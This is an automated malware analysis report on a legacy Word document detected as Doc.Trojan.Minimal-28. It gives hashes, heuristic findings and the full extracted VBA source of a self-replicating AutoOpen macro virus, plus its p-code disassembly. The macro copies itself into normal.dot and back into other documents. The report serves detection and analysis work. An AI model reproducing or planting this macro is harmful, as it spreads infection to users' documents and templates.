Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77e95ea622ada34d…

MALICIOUS

Office (OLE)

30.5 KB Created: 1999-09-27 16:28:00 Authoring application: Microsoft Word 9.0 First seen: 2014-03-08
MD5: 049a54bc9b7fa3305e058071e8bd7f8e SHA-1: 553e605558ba8856d580503b1c36a9d02f16e036 SHA-256: 77e95ea622ada34d569c1090ca3ce1a73740d8b4ebaaac43ef3b3a5cb9ea4e42
168 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-28
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autOOpeN"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2599 bytes
SHA-256: 8cacd15dc34b1b7364999d39a7c9bd2872dfef26b1a0a271d50a67a1056d6713
Detection
ClamAV: Doc.Trojan.Minimal-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autOOpeN"

Public Sub MAIN()
Dim a$
Dim b$
Dim c$
a$ = "autOOpeN"
b$ = WordBasic.[FileName$]()
c$ = WordBasic.[DefaultDir$](2) + "\normal.dot"
Dim a_ As Object: Set a_ = WordBasic.DialogRecord.Organizer(False)
Set a_ = WordBasic.CurValues.Organizer
a_.Copy = 1
a_.Tab = 3
a_.Name = a$
a_.Source = b$
a_.Destination = c$
On Error Resume Next
WordBasic.Organizer a_
If WordBasic.CountMacros(1) = 0 Then
a_.Source = c$
a_.Destination = b$
WordBasic.Organizer a_
WordBasic.FileSaveAs Format:=1
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/06366df7049f483796e837db38101e14.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 993 bytes
' Macros/VBA/autOOpeN - 2414 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	Dim 
' 	VarDefn c
' Line #5:
' 	LitStr 0x0008 "autOOpeN"
' 	St a$ 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St B$ 
' Line #7:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x000B "\normal.dot"
' 	Add 
' 	St c$ 
' Line #8:
' 	Dim 
' 	VarDefn a_ (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd Organizer 0x0001 
' 	Set a_ 
' Line #9:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd Organizer 
' 	Set a_ 
' Line #10:
' 	LitDI2 0x0001 
' 	Ld a_ 
' 	MemSt Copy 
' Line #11:
' 	LitDI2 0x0003 
' 	Ld a_ 
' 	MemSt Tab 
' Line #12:
' 	Ld a$ 
' 	Ld a_ 
' 	MemSt Name 
' Line #13:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #14:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #15:
' 	OnError (Resume Next) 
' Line #16:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #17:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #18:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #19:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #20:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #21:
' 	LitDI2 0x0001 
' 	ParamNamed Format 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	EndSub